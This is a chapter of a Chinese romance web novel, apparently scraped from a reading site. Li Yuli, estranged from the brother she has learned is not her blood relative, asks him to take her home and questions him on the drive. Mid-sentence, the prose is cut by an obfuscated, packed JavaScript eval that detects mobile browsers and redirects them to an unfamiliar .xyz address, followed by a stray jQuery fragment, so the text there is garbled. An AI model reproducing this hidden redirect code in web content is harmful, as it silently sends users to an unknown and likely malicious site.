黎予礼一直不太喜欢冬天。
小时候她就很羡慕那些在暖和季节出生的人,能够在生日那天一身轻松。
不像她,每年都被裹成粽子。
妈妈喜欢给她穿毛绒绒的外套,外婆喜欢给她穿厚厚的棉服。
而黎宴琛在刚开始学习怎么给妹妹搭配服装的年纪,选择为她戴上一条又一条暖和的围巾。
她最常戴的那条红色围巾就是黎宴琛买的。
后来她长大了,对于穿着审美有了自己的想法,黎宴琛不再干涉她。但每年她的生日月伊始之时,他仍会在她床头放上一条崭新的、温暖的围巾。
今年也不例外。
不过改由小姨代为转交。
她没有见到他。
黎予礼坐在床边,盯着那条被叠得平平整整的格纹围巾,依旧是惹眼称人的红色。
她甚至能想象出黎宴琛抚平它的手有多轻柔。
羊绒织线里似还残留着他手心的温度。
黎予礼轻叹了一口气,一番心理斗争之下还是把围巾收进了靠在墙边的行李箱里。
她忽然意识到,自己不再期待过生日了。
以前收到新围巾,也代表黎宴琛在提醒她新一岁即将到来,她可以在这个月内肆无忌惮地提任何要求。
虽然寡言但实在宠她的哥哥总会无条件满足。
再加上黎宴琛每年都变着花样给她准备生日礼物,她自然会憧憬标志着成长刻度线的这一天到来。
可当她在名为“成年”的人生节点里得知自己生活了十八年的家皆由虚假堆砌,在此庆祝的纪念日也都化作笑柄。
嘲笑她的天真,嘲笑她早已深陷沼泽。
她忽然想起孟尽桀问过她的话。
“你不喜欢你哥吗?”
她没有正面回答,却又在动词改为“讨厌”时着急否认。
诚然,她无法在一夜之间把自己对黎宴琛的所有情感变成恨。
过于复杂的思绪像理不清的织线,让她想起黎宴琛送她的第一条围巾,被贪玩的她不小心弄出勾丝疵点。
黎宴琛当然没有怪她,还说要给她买一条新的。但她不肯,吵着闹着说就要这一条。
嘴里嚷嚷“这是哥哥送我的第一条围巾”,任黎宴琛怎么哄她也不消停。
无奈之下,连棒针都不知道怎么拿的他学起了针线活,终于在练习了无数次后替黎予礼修补好了那条围巾。
但她不知道。
她不知道哥哥为此打了多少个歪歪扭扭的针脚。
她只知道黎宴琛什么都能做到。
胡思乱想容易失眠,黎予礼在床上翻来覆去睡不着,从枕头下摸出手机一看,发现已经凌晨一点半了。
明天是周一,她可不能赖床。
正打算把手机放好认真睡觉,她左手顺势垫到枕头下方,右手下意识搭在左手腕上,摸到了那条细细的红绳。
好烦,一闭眼又想起黎宴琛。
她叹了口气,又把手机摸出来解锁屏保,打开了微信。
这个点,也不知道黎宴琛睡了没有。
她打开和备注名依旧是“哥哥”的联系人对话框,最近一条消息依旧是上个月的了。
黎宴琛叮嘱她天冷注意保暖,她回了个“1”就再没下文。
其他时候大多是小姨代为转告,比如什么买了水蜜桃罐头、买了两箱NFC桃汁、买了桃子戚风蛋糕之类的事情。
黎予礼以为是没有专程告诉她的必要。
虽然现在的她不想和黎宴琛单独处在一个屋檐下,但一直在小姨家住下去也不是办法。
总归来说还是不太方便,本来就隔了一层关系,知道真相后更是毫无亲缘可言。
她纠结半晌,试探性地主动给黎宴琛发了条消息。
【你最近还是很忙吗?】
意料之外,黎宴琛竟然秒回。
【怎么还没睡】
【不忙了】
看到他第一句回复就是熟悉的唠叨配方,黎予礼在手机这头小声嘀咕:“你不也没睡,只许哥哥放火不许妹妹点灯。”
这话她以前也常说,有段时间都快说成口头禅了。
现在脱口而出那个称呼后她竟还有些不习惯。
【怎么了】
【你哪里不舒服吗】
黎宴琛见她没有回复,很快发来两个问句。
又来。
又以为她不舒服。
到底能不能盼她点好。
黎予礼没好气地用力敲打屏幕。
【没怎么】
【你不忙了为什么还让我住小姨这里啊?】
她手比脑子快,发出这条消息时自己都没有意识到哪里不对劲。
本来一开始黎宴琛把她送过来就是以自己“太忙了顾不上她”为借口,她不过是提出了合理质疑。
黎予礼看着他的备注名从“哥哥”变成“正在输入中…”,却许久未收到回复。
她险些要怀疑他是个不会使用智能机的老年人,打几个字而已至于这么慢吗?
【你不想住小姨家吗】
等了半天就这么一句问话。
黎予礼没耐心了。
【对啊我想住学校】
【你又不同意】
【干脆别管我了】
【反正我也不是你们黎家的小孩】
不出所料黎宴琛又沉默了,隔着手机屏幕她都能想象到他现在是什么表情。
她在这个时间点给黎宴琛发消息的本意不是想吵架,但不知为何每每面对他时情绪总是难以控制。
心理学研究表明,部分人对亲近者存在“理想化投射”,认为对方身为自己的亲近之人理应充分考虑自己的想法。
而当现实与期待不符,则会出现“双标”——对亲人的容忍度远远低于外人的情况。
黎予礼虽不了解心理学,但她似乎也在始终未等来回复的聊天界面外意识到,自己带刺的话语任谁也不知该怎么接。
她拇指轻轻滑动屏幕,悬停在黎宴琛那句“不忙了”的消息气泡上。
原来她已经不再掌握哥哥的近况了。
从前她可是不管黎宴琛是否主动报备都会缠着他盘问不停的人。
可笑的兄妹啊,虚妄的关系失去了人为牵绊真的会就此疏远。
其实那天孟尽桀告诉她黎宴琛去过修车行后,她一直在等他主动开口。
一直在等他质问她和孟尽桀的关系。
可是他没有。
漠不关心似的。
和她预想之中不同,也和拆穿谎言前有别。
看来是演都不想演了,他也觉得假扮她的哥哥是一件很累的事吧?
黎予礼自嘲地扯了扯嘴角,在黑暗房间里略微刺眼的屏幕光亮仿佛加重了她的眼皮。
她在快要被困意席卷的瞬间萌生了一个更可笑的念头。
为什么不继续利用黎宴琛对她的好。
这是他欠她的。
于是她强撑着给黎宴琛发去一条消息。
【有空了就来接我回家】
*
“予礼呀,在小姨这里住得不舒服吗?”黎蓝瑛身上披着羊毛斗篷,非要把黎予礼送到门口。
那天晚上她发完消息后就昏睡过去了,早上醒来才看到黎宴琛的回复。
【好】
【周日早九点去接你】
黎宴琛说话算话,准时准点在周日早上摁响了小姨家的门铃。
不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855456|175906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仅帮她收拾了完全没整理的行李,还不让任何人搭把手,自己一手一个箱子拎下了楼。
黎予礼一身轻松,撅着嘴跟黎蓝瑛撒娇:“哪有啊小姨,我哥不忙了我就先回去啦,等我考完试再来打扰你!”
“哎哟住我这里多好呀,一点都不打扰。”黎蓝瑛嘴上不舍得她走,手上却并没有挽留。
大抵是看出了兄妹俩关系尴尬,也想借机帮助缓和。
黎予礼轻轻抱了抱小姨,摸到她身上薄薄的披风,立马假装生气:“小姨你穿太少啦!快回去吧,不用送了。”
黎宴琛的宾利就停在别墅门口,她搞不懂这家人到底为什么这么客气,两步路也要亲自送。
风刮过她裸露在围巾外的脸颊,她把手缩在袖子里,只能像招财猫那样挥手。
“我走啦,小姨、小姨父拜拜!”
黎宴琛正好把她两个行李箱都塞进了后备箱里,起身对着黎蓝瑛点头示意,惜字如金的他连一句道别都不说。
不知道的还以为他才是外人呢。
黎予礼冲他皱了皱鼻子。
太久不坐四轮车,她还真有些不习惯。
那个桃子摆件依旧在副驾驶前中控台上欢迎她,车内也依旧是熟悉的桃子味香薰,令人舒心。
她下意识打量车上有何变化,偏头却对上了黎宴琛的视线。
准确来说,他的目光落在她颈间的围巾上。
柔和的,温暖的。
她恍惚间以为自己看错了,黎宴琛向来紧抿的唇上竟露出一丝笑意。
但转瞬即逝。
应该是她看错了。
她把安全带系好,转头靠着车窗。
黎宴琛或许以为她习惯性小憩,正打算关掉车内音乐,不料她突兀抛来一句话。
“小姨还不知道。”
他听到这话后扭头看了妹妹一眼,心里了然她所指的事情是什么。
“但她迟早会知道的,”黎予礼轻声叹气,“我不管你是怎么打算的,但我和你闹得再难看也不想影响小姨,她身体不好,我怕……”
人要避谶,她没把最坏的预设说出口。
黎宴琛“嗯”了一声,车内再度陷入沉默。
没被关掉的车载音乐随机播放到一首黎予礼听不懂的粤语歌。她记得黎宴琛有段时间经常去港城出差,大概就是那个时候他往歌单里添加了一些新鲜曲目。
旋律不错,她听得有些困了。
但难以辨认的歌词让她产生了好奇心,她打了个哈欠问:“这歌你听得懂吗?”
“什么?”黎宴琛好像没听清。
“我说,”她一字一顿复述,“这首歌的歌词你听得懂吗?”
他目不斜视:“……大概吧,怎么了?”
“唱的什么?”她直白提问。
“爱情。”
黎宴琛言简意赅。
也是。
流行歌不是唱爱情甜蜜就是唱悲情分离,没什么新意。
不过这歌确实挺好听的,黎予礼又多问了一嘴:“歌名叫什么?”
黎宴琛稍有停顿:“……不记得了。”
他握方向盘的手微微用力,视线有一秒飘向了左后视镜。
连黎予礼自己都觉得惊讶,她竟然立刻察觉出了黎宴琛的不对劲。
他好像在撒谎。
但她不敢确定。
因为在她记忆里,除了他们的兄妹关系以外,黎宴琛从来没骗过她什么。
因此她没有对照参考,无法妄下定论。
车内暖气温度适宜,脖子上的围巾裹得她有些发热。
她盯着黎宴琛的侧脸,时刻绷紧的下颌线出现了一瞬的松懈。
“你刚刚在撒谎吗?”她问。